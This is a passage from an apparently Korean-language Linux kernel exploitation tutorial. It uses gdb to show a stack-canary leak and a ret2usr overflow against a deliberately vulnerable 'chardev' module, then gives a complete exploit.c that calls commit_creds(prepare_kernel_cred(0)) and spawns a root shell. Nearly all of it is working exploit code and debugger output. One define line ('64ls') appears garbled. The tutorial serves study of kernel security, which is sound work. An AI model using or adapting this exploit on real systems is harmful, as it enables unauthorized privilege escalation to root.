}
...
  • 모듈에 Exploit code를 전달하기 전에 prepare_tf()함수를 호출하여 User-space의 Stack pointer를 백업합니다.
Back up the stack pointer
...
    //Exploit code
    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    *((void**)(rop+84)) = &payload;

    prepare_tf();

    //Overflow
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
  • 해당 디버깅을 진행하기 전에 커널 모듈 등록, 디버깅 설정을 초기화합니다.

    • 필수는 아니며 기존에 설정된 환경을 그대로 사용하셔도 됩니다.

Insert a module into the Linux Kernel
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo rmmod chardev 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo insmod chardev.ko 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev.
f84ce000 t chardev_lseek	[chardev]
f84ce0a0 t chardev_release	[chardev]
f84ce0e0 t chardev_write	[chardev]
f84ce160 t chardev_read	[chardev]
f84ce260 t chardev_init	[chardev]
f84d02dc b chardev_major	[chardev]
f84d02a0 b chardev_cdev	[chardev]
f84d0280 b __key.24596	[chardev]
f84d0280 b chardev_class	[chardev]
f84ce3a0 t chardev_exit	[chardev]
f84d0080 d __this_module	[chardev]
f84d0000 d chardev_fops	[chardev]
f84ce3a0 t cleanup_module	[chardev]
f84ce260 t init_module	[chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$
  • 다음과 같이 Breakpoint를 설정합니다.

    • 0xf84ce0e0 : chardev_write() 함수의 시작 주소

    • 0xf84ce143 : chardev_write() 함수의 ret 명령어 실행 전 

Set breakpoint
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50
50	in /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h
(gdb) d 
Delete all breakpoints? (y or n) y
(gdb) b *0xf84ce0e0
Breakpoint 1 at 0xf84ce0e0
(gdb) c
Continuing.

Breakpoint 1, 0xf84ce0e0 in ?? ()
(gdb) x/40i $eip
=> 0xf84ce0e0:	int3   
   0xf84ce0e1:	mov    ebp,esp
   0xf84ce0e3:	push   edi
   0xf84ce0e4:	push   esi
   0xf84ce0e5:	push   ebx
   0xf84ce0e6:	sub    esp,0x4c
   0xf84ce0e9:	lea    esi,ds:[esi+eiz*1+0x0]
   0xf84ce0ee:	lea    ebx,[ebp-0x50]
   0xf84ce0f1:	mov    edi,edx
   0xf84ce0f3:	mov    DWORD PTR [esp],0xf84cf084
   0xf84ce0fa:	mov    esi,ecx
   0xf84ce0fc:	mov    eax,gs:0x14
   0xf84ce102:	mov    DWORD PTR [ebp-0x10],eax
   0xf84ce105:	xor    eax,eax
   0xf84ce107:	call   0xc1705c69 <printk>
   0xf84ce10c:	mov    DWORD PTR [esp+0x4],ebx
   0xf84ce110:	mov    DWORD PTR [esp],0xf84cf0b4
   0xf84ce117:	call   0xc1705c69 <printk>
   0xf84ce11c:	mov    ecx,esi
   0xf84ce11e:	mov    edx,edi
   0xf84ce120:	mov    eax,ebx
   0xf84ce122:	call   0xc1351a90 <_copy_from_user>
   0xf84ce127:	test   eax,eax
   0xf84ce129:	je     0xf84ce149
   0xf84ce12b:	mov    eax,0xfffffff2
   0xf84ce130:	mov    edx,DWORD PTR [ebp-0x10]
   0xf84ce133:	xor    edx,DWORD PTR gs:0x14
   0xf84ce13a:	jne    0xf84ce144
   0xf84ce13c:	add    esp,0x4c
   0xf84ce13f:	pop    ebx
   0xf84ce140:	pop    esi
   0xf84ce141:	pop    edi
   0xf84ce142:	pop    ebp
   0xf84ce143:	ret    
   0xf84ce144:	call   0xc1066890 <__stack_chk_fail>
   0xf84ce149:	mov    DWORD PTR [esp+0x4],ebx
   0xf84ce14d:	mov    DWORD PTR [esp],0xf84cf0e8
   0xf84ce154:	call   0xc1705c69 <printk>
   0xf84ce159:	mov    eax,esi
   0xf84ce15b:	jmp    0xf84ce130
(gdb) b *0xf84ce143
Breakpoint 2 at 0xf84ce143
(gdb) c
Continuing.
  • ESP 레지스터가 가리키는 영역에 User-space의 payload() 함수의 주소가 저장되어있습니다.
    • ret 명령어에 의해 정상적으로 payload() 함수로 이동하게 됩니다.
  • payload() 함수에서는 앞에서 구현한것 처럼 권한 상승 함수들을 실행한 후 ESP 레지스터에 tf 구조체의 시작 주소를 저장하고, IRET명령어를 호출합니다.
    • 해당 코드의 동작을 확인하기 위해 0x8048ebe에 Breakpoint를 설정합니다.

Return to payload() function
Breakpoint 2, 0xf84ce143 in ?? ()
(gdb) x/wx $esp
0xf4cb5f48:	0x08048ea2
(gdb) si
0x08048ea2 in ?? ()
(gdb) x/20i $eip
=> 0x8048ea2:	push   ebp
   0x8048ea3:	mov    ebp,esp
   0x8048ea5:	push   ebx
   0x8048ea6:	sub    esp,0x4
   0x8048ea9:	mov    ebx,DWORD PTR ds:0x80ed054
   0x8048eaf:	mov    edx,DWORD PTR ds:0x80ed058
   0x8048eb5:	mov    eax,0x0
   0x8048eba:	call   edx
   0x8048ebc:	call   ebx
   0x8048ebe:	mov    esp,0x80ed040
   0x8048ec3:	iret   
   0x8048ec4:	add    esp,0x4
   0x8048ec7:	pop    ebx
   0x8048ec8:	pop    ebp
   0x8048ec9:	ret    
   0x8048eca:	push   ebp
   0x8048ecb:	mov    ebp,esp
   0x8048ecd:	push   ebx
   0x8048ece:	sub    esp,0x144
   0x8048ed4:	mov    eax,DWORD PTR [ebp+0x8]
(gdb) b *0x8048ebe
Breakpoint 3 at 0x8048ebe
(gdb) c
Continuing.
  • 다음과 같이 tf 구조체 영역에는 User-space에서 사용하던 레지스터의 값들이 저장되어 있습니다.
    • 해당 구조체의 시작 주소는 "mov esp,0x80ed040" 코드에 의해 ESP레지스터에 저장되었습니다.
    • IRET 명령어 실행 후 EIP, CS, EFLAGS, ESP, SS 레지스터의 값이 변경됩니다.
      • EIP 레지스터의 값은 payload() 함수의 주소입니다.
Restore Stack pointer
Breakpoint 3, 0x08048ebe in ?? ()
(gdb) x/10wx 0x80ed040
0x80ed040:	0x08048e44	0x00000073	0x00000206	0xbfcebaf8
0x80ed050:	0xbfce007b	0xc1082b60	0xc1082e20	0x00000000
0x80ed060:	0x00000028	0x00000040
(gdb) si
0x08048ec3 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x40	64
ebx            0xc1082b60	-1056429216
esp            0x80ed040	0x80ed040
ebp            0xf4cb5f48	0xf4cb5f48
esi            0x42424242	1111638594
edi            0x42424242	1111638594
eip            0x8048ec3	0x8048ec3
eflags         0x246	[ PF ZF IF ]
cs             0x60	96
ss             0x68	104
ds             0x7b	123
es             0x7b	123
fs             0xd8	216
gs             0xe0	224
(gdb) si
0x08048e44 in ?? ()
(gdb) i r
eax            0x0	0
ecx            0x0	0
edx            0x40	64
ebx            0xc1082b60	-1056429216
esp            0xbfcebaf8	0xbfcebaf8
ebp            0xf4cb5f48	0xf4cb5f48
esi            0x42424242	1111638594
edi            0x42424242	1111638594
eip            0x8048e44	0x8048e44
eflags         0x206	[ PF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x0	0
(gdb) c
Continuing.
  • 다음과 같이 정상적으로 shell을 획득할 수 있습니다.
Get shell
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./exploit 
commit_creds address is :0xc1082b60
prepare_kernel_cred address is :0xc1082e20
65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21  | e. Best of luck!
0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 

9f 62 5f 66 60 e1 4c f8 90 5f cb f4 a0 bf 0e 08  | ?b_f`?L??_????
5c 5f cb f4 5f e8 1a c1 90 5f cb f4 40 75 f5 e4  | \_??_???_??@u??
canary is :9f 62 5f 66 
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Exploit code

  • 다음과 같이 Exploit code를 완성할 수 있습니다.
exploit.c
//gcc -static -o exploit exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

#define TEXT_LEN 64ls

struct trap_frame {
    void * eip ; 		// instruction pointer
    uint32_t cs ; 		// code segment
    uint32_t eflags ; 		// CPU flags
    void * esp ; 		// stack pointer
    uint32_t ss ; 		// stack segment
} __attribute__((packed));
struct trap_frame tf;

void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &getShell ;
    tf.esp -= 1024; 		// unused part of stack
}

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}

unsigned long kallsym_getaddr(const char* str)
{
    FILE *stream;
    char fbuf[256];
    char addr[32];

    stream = fopen("/proc/kallsyms","r");
    if(stream < 0)
    {
        printf("failed to open /proc/kallsyms\n");
        return 0;
    }

    memset(fbuf,0x00,sizeof(fbuf));
	
    while(fgets(fbuf,256,stream) != NULL)
    {
        char *p = fbuf;
        char *a = addr;

        if(strlen(fbuf) == 0)
            continue;

        memset(addr,0x00,sizeof(addr));
        fbuf[strlen(fbuf)-1] = '\0';

        while(*p != ' ')
            *a++ = *p++;

        p+=3;
	if(!strcmp(p,str))
            return strtoul(addr, NULL, 16);
    }
    return 0;
}

int main()
{
    static char buf[128],rop[128]; 
    char canary[4];
    int fd,i,j;

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 
 
    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    lseek(fd, 32, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(canary, buf+32,4);
    printf("canary is :");
    for(i = 0;i < 4;i++){
		printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    //Exploit code
    memset(rop, 'A', 64);
    memcpy(rop+64, canary, 4);
    memset(rop+68, 'B', 16);
    *((void**)(rop+84)) = &payload;

    prepare_tf();

    //Overflow
    write(fd, rop, 88);
    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

References